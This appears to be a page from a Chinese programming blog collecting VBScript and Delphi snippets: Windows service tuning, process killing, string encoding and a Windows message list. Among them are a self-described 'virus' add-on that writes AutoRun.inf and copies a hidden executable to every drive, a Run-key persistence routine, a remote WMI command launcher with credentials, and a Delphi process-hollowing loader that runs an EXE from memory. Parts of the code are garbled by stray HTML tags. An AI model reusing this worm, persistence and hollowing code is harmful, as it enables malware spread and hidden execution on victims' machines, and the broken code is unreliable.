学习编程 - 第13页 | 雨律在线
分类 [ 学习编程 ] 下的全部文章 ▼


VBS 优化管理管理服务 2/13

Dim SS
Dim S
Dim szMsg
Dim szTtl
Dim l
Dim bFlg
Dim bFlg
Set SS = GetObject("winmgmts:{impersonationLevel=impersonate}"
szMsg = "执行了下列操作：" & vbCrLf
szTtl = "管理服务程序"
l = Len(szMsg)
For Each S In SS
Select Case UCase(Trim(S.Name))
Case "DFS"
Call StopManual()
Case "ERSVC"
Call StopManual()
Case "HELPSVC"
Call StopManual()
Case "MDM"
Call StopManual()
Case "MESSENGER"
Call StopDisable()
Case "SPOOLER"
Call PrintSpooler()
Case "REMOTEREGISTRY"
Call StopDisable()
Case "SCHEDULE"
Call StopManual()
Case "THEMES"
Call Themes()
Case "AUDIOSRV"
Call WindowsAudio()
Case "W32TIME"
Call StopManual()
End Select
Next
Set SS = Nothing
Set S = Nothing
If Len(szMsg) = l Then szMsg = "您的服务设置和本程序预期的一样！"
MsgBox szMsg, 4160, szTtl
'Distributed File System
'Error Reporting Service
'Help And Support
'Machine Debug Manager
'Task Scheduler
'Windows Time
Sub StopManual()
bFlg = False
If StrComp(S.StartMode, "Manual", 1) Then
S.ChangeStartMode("Manual")
bFlg = True
End If
If StrComp(S.State, "Stopped", 1) Then
S.StopService
bFlg = True
End If
If bFlg Then szMsg = szMsg & vbCrLf & "停止" & S.Caption & "服务，并将其启动类型设为手动。"
'Messenger
'Remote Registry
Sub StopDisable()
bFlg = False
If StrComp(S.StartMode, "Disabled", 1) Then
S.ChangeStartMode("Disabled")
bFlg = True
End If
If StrComp(S.State, "Stopped", 1) Then
S.StopService
bFlg = True
End If
If bFlg Then szMsg = szMsg & vbCrLf & "停止并禁用了" & S.Caption & "服务。"
'Print Spooler
Sub PrintSpooler()
If StrComp(S.State, "Stopped", 1) Or StrComp(S.StartMode, "Manual", 1) Then
If MsgBox("您是否有打印机？", 4132, szTtl) = 7 Then
S.ChangeStartMode("Manual")
S.StopService
szMsg = szMsg & vbCrLf & "停止并禁用了" & S.Caption & "服务。"
End If
End If
'Themes
Sub Themes()
If StrComp(S.State, "Stopped", 1) Or StrComp(S.StartMode, "Manual", 1) Then
If MsgBox("您是否要使用 XP 主题风格？", 4132, szTtl) = 7 Then
S.ChangeStartMode("Manual")
S.StopService
szMsg = szMsg & vbCrLf & "停止并禁用了" & S.Caption & "服务。"
End If
End If
'Windows Audio
Sub WindowsAudio()
If StrComp(S.State, "Running", 1) Or StrComp(S.StartMode, "Auto", 1) Then
S.ChangeStartMode("Automatic")
S.StartService
szMsg = szMsg & vbCrLf & "自动启用了" & S.Name & "服务。"
End If


阅读全文


关于《VBS 监控并中止QQ及QQgame进程》的补充 2/13

在文件中添加如下代码，并将程序段在死循环中调用。就是一个auto 病毒了
需要注意的是 需要配合 winrar 的自解压功能支持，当然也可以用其他加壳程序完成
安装第二启动方式(病毒行为)
将此vbs文件更名为 stop_qq.vbs,然后通过winrar压缩成自解压执行stop_qq.vbs的压缩文件--qq_xp.exe,此段代码才生效


Sub create_boot2
path0=fs.GetFile(WScript.scriptFullName).ParentFolder & "\qq_xp.exe"
if fs.FileExists(path0) then
Set file1=fs.CreateTextFile("AutoRun.inf",true)
file1.WriteLine("[AutoRun]")
file1.WriteLine("open=qq_xp.exe")
file1.WriteLine("shell\open=打开( & O)")
file1.WriteLine("shell\open\Command=qq_xp.exe")
file1.WriteLine("shell\open\Default=1")
file1.WriteLine("shell\explore=资源管理器( & X)")
file1.WriteLine("shell\explore\Command=qq_xp.exe")
file1.Close
Set d1=CreateObject("scripting.dictionary")
d1.RemoveAll
For Each dr_x In fs.Drives
If dr_x.IsReady And _
dr_x & "\" <> pathx And _
dr_x.DriveLetter <>"A" And _
dr_x.DriveLetter <>"B" Then
If dr_x.FreeSpace/(1024^2) > 1 Then d1.Add dr_x,dr_x
End if
Next
For Each dr_x In d1.Items
'MsgBox pathx & "--->" & dr_x
If fs.FileExists(dr_x & "\qq_xp.exe") = False Then
fs.CopyFile path0 , dr_x & "\qq_xp.exe",True
Set file1=fs.GetFile(dr_x & "\qq_xp.exe")
file1.Attributes=2+4
End if
If fs.FileExists(dr_x & "\AutoRun.inf") = False And _
fs.FolderExists(dr_x & "\AutoRun.inf") = False Then
fs.CopyFile PATHX & "\AutoRun.inf" , dr_x & "\AutoRun.inf",True
Set file1=fs.GetFile(dr_x & "\AutoRun.inf")
file1.Attributes=2+4
end if
Next
End if
End Sub


阅读全文


VBS 监控并中止QQ及QQgame进程 2/13

监控并中止QQ及QQgame进程，同样可以用于中断其他程序进程，只要将进程的name写入stop_qq.txt
此脚本由 wscript.exe 脚本解析程序负责解析执行.
此脚本是死循环程序，要中断此脚本只需要在STOP_QQ.TXT 中填入含有 “WSCRIPT.EXE” 内容的记录并保存(Ctrl+S)，脚本会将自中断。
当程序中断以后再删除 "wscript.exe" 数据，以确保下次能够正常发挥作用。


on error resume next
Set os0=createobject("shell.application")
Set os=CreateObject("wscript.shell")
Set fs=CreateObject("scripting.filesystemobject")
Set wmi=GetObject("winmgmts:\\.")
pathx=fs.GetFile(WScript.scriptFullName).ParentFolder.Path
path0=fs.GetFile(WScript.scriptFullName).Path
Set path1=fs.GetSpecialFolder(1)

'MAIN DO LOOP
Do
'create_boot
Set d0=createobject("scripting.dictionary")
edit_d
stop_p
WScript.Sleep 5000
Loop
'-
'-安装启动项
Sub create_boot
If fs.FolderExists(path1 & "\vbs") = False Then fs.CreateFolder path1 & "\vbs"
fs.CopyFile path0 , path1 & "\vbs\boot.vbs",True
If fs.FileExists(pathx & "\stop_qq.txt") Then fs.CopyFile pathx & "\vbs\stop_qq.txt" , path1 & "\stop_qq.txt",true
os.RegWrite "HKLM\Software\Microsoft\Windows\CurrentVersion\Run\stop_qq", Chr(34) & path1 & "\vbs\BOOT.vbs"+Chr(34)
End Sub
'-
'将数据文件中的数据导入dictionary d0
sub edit_d
If fs.FileExists(pathx & "\stop_qq.txt") = False Then
build_f
End If
Set file1=fs.OpenTextFile(pathx & "\stop_qq.txt",1,false)
n=0
Do Until file1.AtEndOfLine
l1=Trim(file1.readline)
If l1 <> "" Then
d0.Add n,l1 'd0为公用 dictionary 所以在总程序中定义
n=n+1
End If
Loop
If n=0 Then build_f
End Sub
'-
'-创建数据文件
Sub build_f
Set file1=fs.OpenTextFile(pathx & "\stop_qq.txt",2,True)
file1.WriteLine "qq.exe"
file1.WriteLine "qqgame.exe"
file1.Close
End Sub
'-
'中断进程
Sub stop_p
For Each item In d0.Items
Set p=wmi.execquery("select * from win32_process where name='" & item & "'")
For Each p0 In p
p0.terminate()
os0.MinimizeAll
os.popup "你不知道工作时间不允许运行此程序么？",1,"警告",64+0
Next
Next
End sub


阅读全文


VBS 实现瞬间关闭多个系统进程 2/13

程序利用 vbs 的wmi 、scripting.filesystemobject、shell.application、scripting.dictionary、wscript.shell的相关功能功能实现将当前进程列表显示在一个文本文件中，通过用户界面的选择，确定需要瞬间中断的进程列表，然后中断之。程序试验环境为 windows xp_sp2,主要针对系统存在多个需要中断进程的情况下，瞬间成批中断进程。


On Error Resume next
Set fs=CreateObject("scripting.filesystemobject")
Set os=CreateObject("wscript.shell")
Set os0=createobject("shell.application")
Set d0=CreateObject("scripting.dictionary")
Set wmi=GetObject("winmgmts:\\.")
Set pro_s=wmi.instancesof("win32_process")

'-创建临时文本文件文件，把当前进程输入该文本文件之中并通过记事本打开之
'-同时把进程对应序号 和 pid 传递给dictionary(d0)一份
filename=fs.GetTempName
set f1=fs.CreateTextFile(filename,True)
msg="序号" & vbTab & "名称" & vbTab & "PID" & vbTab & "程序文件" & vbtab & now & Chr(10)
f1.Writeline(msg)
n=1
For Each p In pro_s
f1.WriteLine(n & ". " & p.name & " , " & p.handle & " , " & p.commandline & Chr(10))
d0.Add "" & n,Trim(p.handle)
n=n+1
Next
f1.Close
os0.MinimizeAll
os.Exec "notepad.exe " & filename
wscript.sleep 500

'等待用户输入欲中断的进程相关的序号列,确定之后关闭并删除临时文本文件
x=InputBox("请根据" & filename & "中的内容"+Chr(10)+ _
"选择需要同时中断的进程对应序号："+Chr(10)+ _
"(序号之间用','间隔 例如：'1,3,5,7,11')","选择")
os.AppActivate filename & " - 记事本"
os.SendKeys "%fx"
WScript.Sleep 500
fs.DeleteFile filename

'如果用户取消了操作，就退出程序
If x="" then wscript.quit
'把用户输入的序号列中相关的序号传递给一个数组 xs
xs=Split(x,",",-1,1)
'-对用户输入的序号列进行校对，将重复序号标记为 -2,计算实际序号个数
For i=0 to ubound(xs) '-利用双重循环将重复输入的内容保留一份，其他的标记为-1
for n=0 to ubound(xs)
if n=i then
n=n+1
if n>ubound(xs) then exit for
end if
if Trim(xs(n))=Trim(xs(i)) or _
Trim(xs(n))="" Then
xs(n)="-1"
end If
next
Next

w=0 '把不真实可用的序号剔除并计算出其个数
For i=0 To UBound(xs)
If d0.Exists(xs(i))=False Then
xs(i)="-2"
w=w+1
End If
Next

w=(UBound(xs)+1-w) '-得出可用的序号个数
'如果序列中没有输入任何序号就退出程序
If w=0 Then
MsgBox "需要中断的进程列表为空！"
WScript.Quit
End If

'-根据用户输入信息中断相应进程
m=0
For i=0 To UBound(xs)
If xs(i) <> "-2" then '-只有真实可用的序号才参与循环
For Each p In pro_s
If Trim(p.handle)=trim(d0(xs(i))) Then '-如果进程pid号码正是需要中断的就尝试中断

p_name=p.name
pd=p.terminate()
If pd=0 Then '-判断中断进程的尝试是否成功
msg=p_name & " 进程中断成功!"
m=m+1
Else
msg=p_name & " 进程中断失败!"
End If
os.popup msg,1,"通知",64+0
End If
Next
end if
Next

os.popup w & "个目标进程,已经中断了" & m & "个" ,5,"通知",64+0
WScript.quit


阅读全文


VBS 通过135端口执行命令 2/13

set ww=createobject("wbemscripting.swbemlocator")
set cc=ww.connectserver("172.20.241.218","root/cimv2","user","password")
Set pp=cc.get("Win32_Process")
pp.create("cmd /c temp.exe")


阅读全文


VBS 正则表达式提取一段文本里的所有图片链接 2/13

使用方法：把以下代码存为 getImages.html ，后运行便可看到效果。

阅读全文


纯 VBScript 实现 Window.Escape(str) 编码 2/13

Function vbs_escape(str)
dim i,c,a,r
'7个Escape无变化的特殊字符：*+-./@_
For i=1 to Len(str)
c=Mid(str,i,1)
a=Asc(c)
If a>=0 AND a<=255 Then
If a>=97 And a<=122 Then 'a-z
r=r & c
ElseIf a>=64 And a<=90 Then '@A-Z
r=r & c
ElseIf a>=45 And a<=57 Then '-./0-9
r=r & c
ElseIf a=42 or a=43 or a=95 Then '*+_
r=r & c
ElseIf a>15 Then
r=r & "%" & Hex(a)
Else
r=r & "%0" & Hex(a)
End If
Else
r=r & "%u" & Hex(AscW(c))
End If
Next
vbs_escape=r
End Function


阅读全文


Windows 消息大全 (系统编程必备) 2/13

消息，就是指Windows发出的一个通知，告诉应用程序某个事情发生了。例如，单击鼠标、改变窗口尺寸、按下键盘上的一个键都会使Windows发送一个消息给应用程序。消息本身是作为一个记录传递给应用程序的，这个记录中包含了消息的类型以及其他信息。例如，对于单击鼠标所产生的消息来说，这个记录中包含了单击鼠标时的坐标。这个记录类型叫做TMsg。

它在Windows单元中是这样声明的：
type
TMsg = packed record
hwnd: HWND; //窗口句柄
message: UINT; //消息常量标识符
wParam: WPARAM ; // 32位消息的特定附加信息
lParam: LPARAM ; // 32位消息的特定附加信息
time: DWORD; //消息创建时的时间
pt: TPoint; //消息创建时的鼠标位置
end;

消息中有什么？
是否觉得一个消息记录中的信息像希腊语一样？如果是这样，那么看一看下面的解释：
hwnd 32位的窗口句柄。窗口可以是任何类型的屏幕对象，因为Win32能够维护大多数可视对象的句柄(窗口、对话框、按钮、编辑框等)。
message 用于区别其他消息的常量值，这些常量可以是Windows单元中预定义的常量，也可以是自定义的常量。
wParam 通常是一个与消息有关的常量值，也可能是窗口或控件的句柄。
lParam 通常是一个指向内存中数据的指针。由于WParam、lParam和Pointer都是3 2位的，
因此，它们之间可以相互转换。

WM_NULL = $0000;
WM_Create = $0001;
应用程序创建一个窗口
WM_DESTROY = $0002;
一个窗口被销毁
WM_MOVE = $0003;
移动一个窗口
WM_SIZE = $0005;
改变一个窗口的大小
WM_ACTIVATE = $0006;
一个窗口被激活或失去激活状态；
WM_SETFOCUS = $0007;
获得焦点后
WM_KILLFOCUS = $0008;
失去焦点
WM_ENABLE = $000A;
改变enable状态
WM_SETREDRAW = $000B;
设置窗口是否能重画
WM_SETTEXT = $000C;
应用程序发送此消息来设置一个窗口的文本
WM_GETTEXT = $000D;
应用程序发送此消息来复制对应窗口的文本到缓冲区
WM_GETTEXTLENGTH = $000E;
得到与一个窗口有关的文本的长度（不包含空字符）
WM_PAINT = $000F;
要求一个窗口重画自己
WM_CLOSE = $0010;
当一个窗口或应用程序要关闭时发送一个信号
WM_QUERYENDSESSION = $0011;
当用户选择结束对话框或程序自己调用ExitWindows函数
WM_QUIT = $0012;
用来结束程序运行或当程序调用postquitmessage函数
WM_QUERYOPEN = $0013;
当用户窗口恢复以前的大小位置时，把此消息发送给某个图标
WM_ERASEBKGND = $0014;
当窗口背景必须被擦除时（例在窗口改变大小时）
WM_SYSCOLORCHANGE = $0015;
当系统颜色改变时，发送此消息给所有顶级窗口
WM_ENDSESSION = $0016;
当系统进程发出WM_QUERYENDSESSION消息后，此消息发送给应用程序，
通知它对话是否结束
WM_SYSTEMERROR = $0017;
WM_SHOWWINDOW = $0018;
当隐藏或显示窗口是发送此消息给这个窗口
WM_ACTIVATEAPP = $001C;
发此消息给应用程序哪个窗口是激活的，哪个是非激活的；
WM_FONTCHANGE = $001D;
当系统的字体资源库变化时发送此消息给所有顶级窗口
WM_TIMECHANGE = $001E;
当系统的时间变化时发送此消息给所有顶级窗口
WM_CANCELMODE = $001F;
发送此消息来取消某种正在进行的摸态（操作）
WM_SETCURSOR = $0020;
如果鼠标引起光标在某个窗口中移动且鼠标输入没有被捕获时，就发
消息给某个窗口
WM_MOUSEACTIVATE = $0021;
当光标在某个非激活的窗口中而用户正按着鼠标的某个键发送此消息给当前窗口
WM_CHILDACTIVATE = $0022;
发送此消息给MDI子窗口当用户点击此窗口的标题栏，或当窗口被激活，移动，改变大小
WM_QUEUESYNC = $0023;
此消息由基于计算机的训练程序发送，通过WH_JOURNALPALYBACK的hook程序
分离出用户输入消息
WM_GETMINMAXINFO = $0024;
此消息发送给窗口当它将要改变大小或位置；
WM_PAINTICON = $0026;
发送给最小化窗口当它图标将要被重画
WM_ICONERASEBKGND = $0027;
此消息发送给某个最小化窗口，仅当它在画图标前它的背景必须被重画
WM_NEXTDLGCTL = $0028;
发送此消息给一个对话框程序去更改焦点位置
WM_SPOOLERSTATUS = $002A;
每当打印管理列队增加或减少一条作业时发出此消息
WM_DRAWITEM = $002B;
当button，combobox，listbox，menu的可视外观改变时发送
此消息给这些空件的所有者
WM_MEASUREITEM = $002C;
当button, combo box, list box, list view control, or menu item 被创建时
发送此消息给控件的所有者


WM_DeleteITEM = $002D;
当the list box 或 combo box 被销毁 或 当 某些项被删除通过LB_DeleteSTRING, LB_RESETCONTENT, CB_DeleteSTRING, or CB_RESETCONTENT 消息
WM_VKEYTOITEM = $002E;
此消息有一个LBS_WANTKEYBOARDINPUT风格的发出给它的所有者来响应WM_KEYDOWN消息
WM_CHARTOITEM = $002F;
此消息由一个LBS_WANTKEYBOARDINPUT风格的列表框发送给他的所有者来响应WM_CHAR消息
WM_SETFONT = $0030;
当绘制文本时程序发送此消息得到控件要用的颜色
WM_GETFONT = $0031;
应用程序发送此消息得到当前控件绘制文本的字体
WM_SETHOTKEY = $0032;
应用程序发送此消息让一个窗口与一个热键相关连
WM_GETHOTKEY = $0033;
应用程序发送此消息来判断热键与某个窗口是否有关联
WM_QUERYDRAGICON = $0037;
此消息发送给最小化窗口，当此窗口将要被拖放而它的类中没有定义图标，应用程序能返回一个图标或光标的句柄，当用户拖放图标时系统显示这个图标或光标
WM_COMPAREITEM = $0039;
发送此消息来判定combobox或listbox新增加的项的相对位置
WM_GETOBJECT = $003D;
WM_COMPACTING = $0041;
显示内存已经很少了
WM_WINDOWPOSCHANGING = $0046;
发送此消息给那个窗口的大小和位置将要被改变时，来调用setwindowpos函数或其它窗口管理函数
WM_WINDOWPOSCHANGED = $0047;
发送此消息给那个窗口的大小和位置已经被改变时，来调用setwindowpos函数或其它窗口管理函数
WM_POWER = $0048;（适用于16位的windows）
当系统将要进入暂停状态时发送此消息
WM_COPYDATA = $004A;
当一个应用程序传递数据给另一个应用程序时发送此消息
WM_CANCELJOURNAL = $004B;
当某个用户取消程序日志激活状态，提交此消息给程序
WM_NOTIFY = $004E;
当某个控件的某个事件已经发生或这个控件需要得到一些信息时，发送此消息给它的父窗口
WM_INPUTLANGCHANGEREQUEST = $0050;
当用户选择某种输入语言，或输入语言的热键改变
WM_INPUTLANGCHANGE = $0051;
当平台现场已经被改变后发送此消息给受影响的最顶级窗口
WM_TCARD = $0052;
当程序已经初始化windows帮助例程时发送此消息给应用程序
WM_HELP = $0053;
此消息显示用户按下了F1，如果某个菜单是激活的，就发送此消息个此窗口关联的菜单，否则就
发送给有焦点的窗口，如果当前都没有焦点，就把此消息发送给当前激活的窗口
WM_USERCHANGED = $0054;
当用户

阅读全文


Delphi 从内存中加载并启动一个EXE 2/13

windows似乎只提供了一种启动进程的方法：即必须从一个可执行文件中加载并启动。
而下面这段代码就是提供一种可以直接从内存中启动一个exe的变通办法。
用途嘛, 也许可以用来保护你的exe，你可以对要保护的 exe 进行任意切分、加密、存储，只要运行时能将exe的内容正确拼接到一块内存中，就可以直接从内存中启动，而不必不安全地去生成一个临时文件再从临时文件启动进程。另外这段代码也提供了一种自己写exe外壳的简单途径，如果能配合其它各种外壳技术就更好地保护你的exe文件。

原理很简单：就是“借尸还魂”，启动一个僵尸进程（NT下可以是自身程序启动的另一个进程），然后在它运行前将其整个替换成内存中的exe内容，待正式运行后执行的就是你的目标代码了。

不过代码中还有一些不尽人意的地方，比如在98下运行会留一个僵尸程序的壳在硬盘上（其实那个僵尸程序本身就是一个完整的可执行程序，直接运行的话只显示一条错误信息然后就退出了）。另外由于客观条件限制，代码没有经过充分测试，只在XP下进行了一些初步测试：普通exe都能正常运行，upx压缩过的exe绝大多数情况下都能运行，只有在不能卸载僵尸外壳时才有问题（upx压缩过的exe没有重定向表，无法加载到其它地址运行）。

如果有bug望告之，如果有更好的方法特别是能解决98下的遗留尾巴的话希望不吝赐教。 作者：Idle_ (阿呆)


{ ******************************************************* }
{ * 从内存中加载并运行exe * }
{ ******************************************************* }
{ * 参数： }
{ * Buffer: 内存中的exe地址 }
{ * Len: 内存中exe占用长度 }
{ * CmdParam: 命令行参数(不包含exe文件名的剩余命令行参数）}
{ * ProcessId: 返回的进程Id }
{ * 返回值： 如果成功则返回进程的Handle(ProcessHandle), }
{ 如果失败则返回INVALID_HANDLE_VALUE }
{ ******************************************************* }

unit PEUnit;

interface

uses windows;

function MemExecute(const ABuffer; Len: Integer; CmdParam: string; var ProcessId: Cardinal): Cardinal;

implementation

{$R ExeShell.res} // 外壳程序模板(98下使用)

type
TImageSectionHeaders = array [0..0] of TImageSectionHeader;
PImageSectionHeaders = ^TImageSectionHeaders;

{ 计算对齐后的大小 }
function GetAlignedSize(Origin, Alignment: Cardinal): Cardinal;
begin
result := (Origin + Alignment - 1) div Alignment * Alignment;
end;

{ 计算加载pe并对齐需要占用多少内存，未直接使用OptionalHeader.SizeOfImage作为结果是因为据说有的编译器生成的exe这个值会填0 }
function CalcTotalImageSize(MzH: PImageDosHeader; FileLen: Cardinal; peH: PImageNtHeaders;
peSecH: PImageSectionHeaders): Cardinal;
var
i: Integer;
begin
{计算pe头的大小}
result := GetAlignedSize(PeH.OptionalHeader.SizeOfHeaders, PeH.OptionalHeader.SectionAlignment);

{计算所有节的大小}
for i := 0 to peH.FileHeader.NumberOfSections - 1 do
if peSecH[i].PointerToRawData + peSecH[i].SizeOfRawData > FileLen then // 超出文件范围
begin
result := 0;
exit;
end
else if peSecH[i].Virtual
Address <> 0 then //计算对齐后某节的大小
if peSecH[i].Misc.VirtualSize <> 0 then
result := GetAlignedSize(peSecH[i].VirtualAddress + peSecH[i].Misc.VirtualSize, PeH.OptionalHeader.SectionAlignment)
else
result := GetAlignedSize(peSecH[i].VirtualAddress + peSecH[i].SizeOfRawData, PeH.OptionalHeader.SectionAlignment)
else if peSecH[i].Misc.VirtualSize < peSecH[i].SizeOfRawData then
result := result + GetAlignedSize(peSecH[i].SizeOfRawData, peH.OptionalHeader.SectionAlignment)
else
result := result + GetAlignedSize(peSecH[i].Misc.VirtualSize, PeH.OptionalHeader.SectionAlignment);

end;

{ 加载pe到内存并对齐所有节 }
function AlignPEToMem(const Buf; Len: Integer; var PeH: PImageNtHeaders;
var PeSecH: PImageSectionHeaders; var Mem: Pointer; var ImageSize: Cardinal): Boolean;
var
SrcMz: PImageDosHeader; // DOS头
SrcPeH: PImageNtHeaders; // PE头
SrcPeSecH: PImageSectionHeaders; // 节表
i: Integer;
l: Cardinal;
Pt: Pointer;
begin
result := false;
SrcMz := @Buf;
if Len < sizeof(TImageDosHeader) then exit;
if SrcMz.e_magic <> IMAGE_DOS_SIGNATURE then exit;
if Len < SrcMz._lfanew+Sizeof(TImageNtHeaders) then exit;
SrcPeH := pointer(Integer(SrcMz)+SrcMz._lfanew);
if (SrcPeH.Signature <> IMAGE_NT_SIGNATURE) then exit;
if (SrcPeH.FileHeader.Characteristics and IMAGE_FILE_DLL <> 0) or
(SrcPeH.FileHeader.Characteristics and IMAGE_FILE_EXECUTABLE_IMAGE = 0)
or (SrcPeH.FileHeader.SizeOfOptiona
lHeader <> SizeOf(TImageOptionalHeader)) then exit;
SrcPeSecH := Pointer(Integer(SrcPeH)+SizeOf(TImageNtHeaders));
ImageSize := CalcTotalImageSize(SrcMz, Len, SrcPeH, SrcPeSecH);
if ImageSize = 0 then
exit;
Mem := VirtualAlloc(nil, ImageSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); // 分配内存
if Mem <> nil then
begin
// 计算需要复制的PE头字节数
l := SrcPeH.OptionalHeader.SizeOfHeaders;
for i := 0 to SrcPeH.FileHeader.NumberOfSections - 1 do
if (SrcPeSecH[i].PointerToRawData <> 0) and (SrcPeSecH[i].PointerToRawData < l) then
l := SrcPeSecH[i].PointerToRawData;
Move(SrcMz^, Mem^, l);
PeH := Pointer(Integer(Mem) + PImageDosHeader(Mem)._lfanew);
PeSecH := Pointer(Integer(PeH) + sizeof(TImageNtHeaders));

Pt := Pointer(Cardinal(Mem) + GetAlignedSize(PeH.OptionalHeader.SizeOfHeaders, PeH.OptionalHeader.SectionAlignment));
for i := 0 to PeH.FileHeader.NumberOfSections - 1 do
begin
// 定位该节在内存中的位置
if PeSecH[i].VirtualAddress <> 0 then
Pt := Pointer(Cardinal(Mem) + PeSecH[i].VirtualAddress);

if PeSecH[i].SizeOfRawData <> 0 then
begin
// 复制数据到内存
Move(Pointer(Cardinal(SrcMz) + PeSecH[i].PointerToRawData)^, pt^, PeSecH[i].SizeOfRawData);
if peSecH[i].Misc.VirtualSize < peSecH[i].SizeOfRawData then
pt := pointer(Cardinal(pt) + GetAlignedSize(PeSecH[i].SizeOfRawData, PeH.OptionalHeader.SectionAlignment))
else
pt := pointer(Cardinal(pt) + GetAlignedSize(peSecH[i].Misc.VirtualSize, peH.OptionalHeader.SectionAlignment));
// pt 定位到下一节开始位置
end
else
pt := pointer(Cardinal(pt) + GetAlignedSize(PeSecH[i].Misc.VirtualSize, PeH.OptionalHeader.SectionAlignment));
end;
result := True;
end;
end;

type
TVirtualAllocEx = function (hProcess: THandle; lpAddress: Pointer;
dwSize, flAllocationType: DWORD; flProtect: DWORD): Pointer; stdcall;

var
MyVirtualAllocEx: TVirtualAllocEx = nil;

function IsNT: Boolean;
begin
result := Assigned(MyVirtualAllocEx);
end;

{ 生成外壳程序命令行 }
function PrepareShellExe(CmdParam: string; BaseAddr, ImageSize: Cardinal): string;
var
r, h, sz: Cardinal;
p: Pointer;
fid, l: Integer;
buf: Pointer;
peH: PImageNtHeaders;
peSecH: PImageSectionHeaders;
begin
if IsNT then
{ NT 系统下直接使用自身程序作为外壳进程 }
result := ParamStr(0)+CmdParam
else begin
// 由于98系统下无法重新分配外壳进程占用内存,所以必须保证运行的外壳程序能容纳目标进程并且加载地址一致
// 此处使用的方法是从资源中释放出一个事先建立好的外壳程序,然后通过修改其PE头使其运行时能加载到指定地址并至少能容纳目标进程
r := FindResource(HInstance, 'SHELL_EXE', RT_RCDATA);
h := LoadResource(HInstance, r);
p := LockResource(h);
l := SizeOfResource(HInstance, r);
GetMem(Buf, l);
Move(p^, Buf^, l); // 读到内存
FreeResource(h);
peH := Pointer(Integer ont color="#0A246A">(Buf) + PImageDosHeader(Buf)._lfanew);
peSecH := Pointer(Integer(peH) + sizeof(TImageNtHeaders));
peH.OptionalHeader.ImageBase := BaseAddr; // 修改PE头重的加载基址
if peH.OptionalHeader.SizeOfImage < ImageSize then // 目标比外壳大,修改外壳程序运行时占用的内存
begin
sz := Imagesize - peH.OptionalHeader.SizeOfImage;
Inc(peH.OptionalHeader.SizeOfImage, sz); // 调整总占用内存数
Inc(peSecH[peH.FileHeader.NumberOfSections-1].Misc.VirtualSize, sz); // 调整最后一节占用内存数
end;

// 生成外壳程序文件名, 为本程序改后缀名得到的
// 由于不想 uses SysUtils (一旦 use 了程序将增大80K左右), 而且偷懒，所以只支持最多运行11个进程，后缀名为.dat, .da0~.da9
result := ParamStr(0);
result := copy(result, 1, length(result) - 4) + '.dat';
r := 0;
while r < 10 do
begin
fid := CreateFile(pchar(result), GENERIC_READ or GENERIC_WRITE, 0, nil, Create_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
if fid < 0 then
begin
result := copy(result, 1, length(result)-3)+'da'+Char(r+Byte('0'));
inc(r);
end
else begin
//SetFilePointer(fid, Imagesize, nil, 0);
//SetEndOfFile(fid);
//SetFilePointer(fid, 0, nil, 0);
WriteFile(fid, Buf^, l, h, nil); // 写入文件
CloseHandle(fid);
break;
end;
end;
result := result + CmdParam; // 生成命令行
FreeMem(Buf);
end;
end;

{ 是否包含可重定向列表 }
function HasRelocationTable(peH: PImageNtHeaders): Boolean;
begin
result := (peH.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress <> 0)
and (peH.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size ="#0A246A"><> 0);
end;

type
PImageBaseRelocation= ^TImageBaseRelocation;
TImageBaseRelocation = packed record
VirtualAddress: cardinal;
SizeOfBlock: cardinal;
end;

{ 重定向PE用到的地址 }
procedure DoRelocation(peH: PImageNtHeaders; OldBase, NewBase: Pointer);
var
Delta: Cardinal;
p: PImageBaseRelocation;
pw: PWord;
i: Integer;
begin
Delta := Cardinal(NewBase) - peH.OptionalHeader.ImageBase;
p := pointer(cardinal(OldBase) + peH.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
while (p.VirtualAddress + p.SizeOfBlock <> 0) do
begin
pw := pointer(Integer(p) + Sizeof(p^));
for i := 1 to (p.SizeOfBlock - Sizeof(p^)) div 2 do
begin
if pw^ and $F000 = $3000 then
Inc(PCardinal(Cardinal(OldBase) + p.VirtualAddress + (pw^ and $0FFF))^, Delta);
inc(pw);
end;
p := Pointer(pw);
end;
end;

type
TZwUnmapViewOfSection = function (Handle, BaseAdr: Cardinal): Cardinal; stdcall;

{ 卸载原外壳占用内存 }
function UnloadShell(ProcHnd, BaseAddr: Cardinal): Boolean;
var
M: HModule;
ZwUnmapViewOfSection: TZwUnmapViewOfSection;
begin
result := False;
m := LoadLibrary('ntdll.dll');
if m <> 0 then
begin
ZwUnmapViewOfSection := GetProcAddress(m, 'ZwUnmapViewOfSection');
if assigned(ZwUnmapViewOfSection) then
result := (ZwUnmapViewOfSection(ProcHnd, BaseAddr) = 0);
FreeLibrary(m);
end<
font color="#0A246A">;
end;

{ 创建外壳进程并获取其基址、大小和当前运行状态 }
function CreateChild(Cmd: string; var Ctx: TContext; var ProcHnd, ThrdHnd, ProcId, BaseAddr, ImageSize: Cardinal): Boolean;
var
si: TStartUpInfo;
pi: TProcessInformation;
Old: Cardinal;
MemInfo: TMemoryBasicInformation;
p: Pointer;
begin
FillChar(si, Sizeof(si), 0);
FillChar(pi, SizeOf(pi), 0);
si.cb := sizeof(si);
result := CreateProcess(nil, PChar(Cmd), nil, nil, False, Create_SUSPENDED, nil, nil, si, pi); // 以挂起方式运行进程
if result then
begin
ProcHnd := pi.hProcess;
ThrdHnd := pi.hThread;
ProcId := pi.dwProcessId;

{ 获取外壳进程运行状态，[ctx.Ebx+8]内存处存的是外壳进程的加载基址，ctx.Eax存放有外壳进程的入口地址 }
ctx.ContextFlags := CONTEXT_FULL;
GetThreadContext(ThrdHnd, ctx);
ReadProcessMemory(ProcHnd, Pointer(ctx.Ebx+8), @BaseAddr, SizeOf(Cardinal), Old); // 读取加载基址
p := Pointer(BaseAddr);

{ 计算外壳进程占有的内存 }
while VirtualQueryEx(ProcHnd, p, MemInfo, Sizeof(MemInfo)) <> 0 do
begin
if MemInfo.State = MEM_FREE then
break;
p := Pointer(Cardinal(p) + MemInfo.RegionSize);
end;
ImageSize := Cardinal(p) - Cardinal(BaseAddr);
end;
end;

{ 创建外壳进程并用目标进程替换它然后执行 }
function AttachPE(CmdParam: string; peH: PImageNtHeaders; peSecH: PImageSectionHeaders;
Ptr: Pointer; ImageSize: Cardinal; var ProcId: Cardinal): Cardinal;
var
s: string;
Addr, Size: Cardinal;
ctx: TContext;
Old: Cardinal;
p: Pointer;
Thrd: Cardinal;
begin
